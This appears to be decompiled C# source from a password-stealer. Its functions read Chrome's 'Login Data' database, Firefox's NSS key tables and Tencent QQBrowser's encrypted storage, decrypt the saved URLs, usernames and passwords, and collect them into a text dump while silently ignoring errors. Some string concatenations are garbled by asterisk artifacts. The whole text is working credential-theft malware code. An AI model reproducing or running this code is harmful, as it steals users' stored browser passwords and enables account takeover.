// Token: 0x060000B8 RID: 184 RVA: 0x0000E30C File Offset: 0x0000C50C public static string ChromePass() { try { StringBuilder stringBuilder = new StringBuilder(); foreach (string path in Directory.GetDirectories(Interaction.Environ("localappdata") + "\\Google\\Chrome\\")) { foreach (string str in Directory.GetDirectories(path)) { if (File.Exists(str + "\\Login Data")) { try { string baseName = str + "\\Login Data"; SqLiteHandler sqLiteHandler = new SqLiteHandler(baseName); sqLiteHandler.ReadTable("logins"); int rowCount = sqLiteHandler.GetRowCount(); int num = 0; int num2 = rowCount - 1; for (int k = num; k <= num2; k++) { string value = sqLiteHandler.GetValue(k, "origin_url"); string value2 = sqLiteHandler.GetValue(k, "username_value"); string str2 = ChromeRecover.DecodeChrome(sqLiteHandler.GetValue(k, "password_value")); if (stringBuilder.Length == 0) { stringBuilder.AppendLine("Chrome:"); } stringBuilder.AppendLine("URL:" + value); stringBuilder.AppendLine("User:"******"Pass:"******"\r\n"); } } catch (Exception ex) { } } } } return(stringBuilder.ToString()); } catch (Exception ex2) { } return(string.Empty); }
// Token: 0x060000F1 RID: 241 RVA: 0x0000E184 File Offset: 0x0000C384 private void GetItemsFromQuery(string direct, ref byte[] item1, ref byte[] item2, string tablename) { SqLiteHandler sqLiteHandler = new SqLiteHandler(direct); sqLiteHandler.ReadTable(tablename); string value; string value2; if (Operators.CompareString(tablename, "metaData", false) == 0) { value = sqLiteHandler.GetValue(0, 1); value2 = sqLiteHandler.GetValue(0, 2); } else if (Operators.CompareString(tablename, "nssPrivate", false) == 0) { value = sqLiteHandler.GetValue(0, "a11"); value2 = sqLiteHandler.GetValue(0, "a102"); } item1 = Encoding.Default.GetBytes(value); item2 = Encoding.Default.GetBytes(value2); }
// Token: 0x060000B5 RID: 181 RVA: 0x0000D0A0 File Offset: 0x0000B2A0 public static object RecoverQQ() { string text = string.Empty; try { SqLiteHandler sqLiteHandler = new SqLiteHandler(Interaction.Environ("localappdata") + "\\Tencent\\QQBrowser\\User Data\\Default\\EncryptedStorage"); sqLiteHandler.ReadTable("entries"); int rowCount = sqLiteHandler.GetRowCount(); int num = 0; int num2 = rowCount - 1; for (int i = num; i <= num2; i++) { try { if (Operators.CompareString(text, string.Empty, false) == 0) { text += "Tencent QQ: \r\n"; } text = text + "URL: " + sqLiteHandler.GetValue(i, "str3") + "\r\n"; text = text + "User: "******"str2") + "\r\n"; text = text + "Pass: "******"blob0")), null, DataProtectionScope.CurrentUser)) + "\r\n\r\n"; } catch (Exception ex) { } } if (Operators.CompareString(text, string.Empty, false) != 0) { text += "\r\n"; } } catch (Exception ex2) { } return(text); }